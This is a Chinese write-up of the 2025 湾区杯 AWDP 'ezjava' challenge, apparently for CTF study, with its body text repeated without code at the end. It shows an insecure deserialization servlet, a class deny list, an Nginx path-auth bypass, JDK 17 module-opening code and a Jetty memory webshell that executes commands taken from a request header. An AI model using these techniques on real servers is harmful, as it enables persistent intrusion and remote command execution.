2025湾区杯之AWDP-web-ezjava详解
字数 1008 2025-09-23 19:27:38

2025湾区杯AWDP赛题ezjava漏洞利用详解

题目概述

本题为2025年湾区杯AWDP比赛中一道Web题目,考察Java反序列化漏洞利用能力。题目基于Jetty服务器,需要绕过自定义黑名单防御机制,利用JNI加密库特性,最终实现内存马注入。

环境分析

核心代码结构

public class AdminServlet extends HttpServlet {
    private static final byte[] SECRET_KEY = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".getBytes(StandardCharsets.UTF_8);
    
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        resp.getWriter().println(Arrays.toString(SECRET_KEY));
    }
    
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        String body = req.getReader().lines().collect(Collectors.joining(System.lineSeparator()));
        // 1. Base64解码
        byte[] encryptedData = Base64.getDecoder().decode(body);
        // 2. JNI解密
        byte[] decryptedData = JniCrypto.decrypt(encryptedData, SECRET_KEY);
        // 3. 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(decryptedData);
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = ois.readObject();
    }
}

防御机制

自定义ObjectInputStream黑名单检测:

public class MyObjectInputStream extends ObjectInputStream {
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();
        String[] denyClasses = {
            "java.net.InetAddress", "sun.rmi.transport.tcp.TCPTransport",
            "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
            "java.lang.Runtime", "java.lang.ProcessBuilder",
            "org.springframework.aop.aspectj.AspectJAroundAdvice"
            // 完整黑名单包含30+个类
        };
        for (String denyClass : denyClasses) {
            if (className.startsWith(denyClass)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", className);
            }
        }
        return super.resolveClass(desc);
    }
}

漏洞利用链构建

链式结构设计

需要结合两种利用链:

  1. SpringBoot AOP链(起点:EventListenerList)
  2. JDK 17新链(替代TemplatesImpl的字节码生成方式)

关键绕过技术

1. Jetty解析差异绕过

Nginx配置存在路径解析差异:

location /myapp/ {
    auth_basic "Admin Area";
    proxy_pass http://127.0.0.1:8080;
}

可通过/myapp/;admin绕过认证

2. JNI加密处理

libcrypto.so中的加密函数需要逆向分析,实际为变种AES算法。需先通过GET请求获取SECRET_KEY,然后使用相同算法加密payload。

3. 模块系统绕过

JDK 17需要处理模块访问限制,关键代码:

// 打开模块访问权限
Method getModule = Class.class.getDeclaredMethod("getModule");
Module module = (Module) getModule.invoke(targetClass);
Method isOpen = Module.class.getDeclaredMethod("isOpen", String.class, Module.class);
if (!(Boolean) isOpen.invoke(module, pkg, Module.class.getModule())) {
    Method openModule = Module.class.getDeclaredMethod("open", String.class);
    openModule.invoke(module, pkg);
}

内存马注入技术

Jetty高版本适配

Jetty 11.0.26使用jakarta.servlet包而非javax.servlet,需要重新挖掘内存马。

上下文获取技术

使用java-object-searcher工具从线程中获取Request对象:

// 搜索Request对象
List<Keyword> keywords = new ArrayList<>();
keywords.add(new Keyword.Builder().setField_type("org.eclipse.jetty.server.Request").build());
SearchRequester searcher = new SearchRequester(thread, keywords);
searcher.search();

内存马实现代码

Field _channelField = httpConnection.getClass().getDeclaredField("_channel");
_channelField.setAccessible(true);
Object channel = _channelField.get(httpConnection);

Field _requestField = channel.getClass().getDeclaredField("_request");
_requestField.setAccessible(true);
Request request = (Request) _requestField.get(channel);

// 命令执行逻辑
String cmd = request.getHeader("shushu");
if (cmd != null) {
    Process process = Runtime.getRuntime().exec(cmd);
    // 结果回传
}

注入技术

通过反射修改HandlerList实现注入:

Field _handlersField = server.getClass().getDeclaredField("_handlers");
_handlersField.setAccessible(true);
Handler[] handlers = (Handler[]) _handlersField.get(server);

// 创建新的HandlerList并注入
HandlerList newHandlers = new HandlerList();
newHandlers.addHandler(maliciousHandler);
newHandlers.addHandler(handlers);
_handlersField.set(server, newHandlers);

完整利用流程

  1. 获取密钥:GET请求/admin获取SECRET_KEY
  2. 构造payload:结合Spring AOP和JDK17链构造反序列化数据
  3. 加密处理:使用变种AES算法加密payload
  4. 发送请求:POST发送Base64编码的加密数据
  5. 绕过认证:使用路径/myapp/;admin绕过Nginx认证
  6. 内存马注入:成功执行反序列化后注入内存马
  7. 命令执行:通过自定义请求头执行系统命令

技术要点总结

  1. 黑名单绕过:利用非黑名单类构造利用链
  2. 高版本适配:JDK 17模块系统和Jetty 11包名变化处理
  3. JNI分析:需要逆向分析加密算法实现
  4. 内存马技术:高版本Jetty的内存马实现方式
  5. 解析差异:利用Web服务器解析特性绕过防护

该题目综合考察了Java反序列化、加密算法分析、内存马等多项高级渗透技术,需要具备完整的Java漏洞利用知识体系。

2025湾区杯AWDP赛题ezjava漏洞利用详解 题目概述 本题为2025年湾区杯AWDP比赛中一道Web题目,考察Java反序列化漏洞利用能力。题目基于Jetty服务器,需要绕过自定义黑名单防御机制,利用JNI加密库特性,最终实现内存马注入。 环境分析 核心代码结构 防御机制 自定义ObjectInputStream黑名单检测: 漏洞利用链构建 链式结构设计 需要结合两种利用链: SpringBoot AOP链 (起点:EventListenerList) JDK 17新链 (替代TemplatesImpl的字节码生成方式) 关键绕过技术 1. Jetty解析差异绕过 Nginx配置存在路径解析差异: 可通过 /myapp/;admin 绕过认证 2. JNI加密处理 libcrypto.so 中的加密函数需要逆向分析,实际为变种AES算法。需先通过GET请求获取SECRET_ KEY,然后使用相同算法加密payload。 3. 模块系统绕过 JDK 17需要处理模块访问限制,关键代码: 内存马注入技术 Jetty高版本适配 Jetty 11.0.26使用jakarta.servlet包而非javax.servlet,需要重新挖掘内存马。 上下文获取技术 使用java-object-searcher工具从线程中获取Request对象: 内存马实现代码 注入技术 通过反射修改HandlerList实现注入: 完整利用流程 获取密钥 :GET请求 /admin 获取SECRET_ KEY 构造payload :结合Spring AOP和JDK17链构造反序列化数据 加密处理 :使用变种AES算法加密payload 发送请求 :POST发送Base64编码的加密数据 绕过认证 :使用路径 /myapp/;admin 绕过Nginx认证 内存马注入 :成功执行反序列化后注入内存马 命令执行 :通过自定义请求头执行系统命令 技术要点总结 黑名单绕过 :利用非黑名单类构造利用链 高版本适配 :JDK 17模块系统和Jetty 11包名变化处理 JNI分析 :需要逆向分析加密算法实现 内存马技术 :高版本Jetty的内存马实现方式 解析差异 :利用Web服务器解析特性绕过防护 该题目综合考察了Java反序列化、加密算法分析、内存马等多项高级渗透技术,需要具备完整的Java漏洞利用知识体系。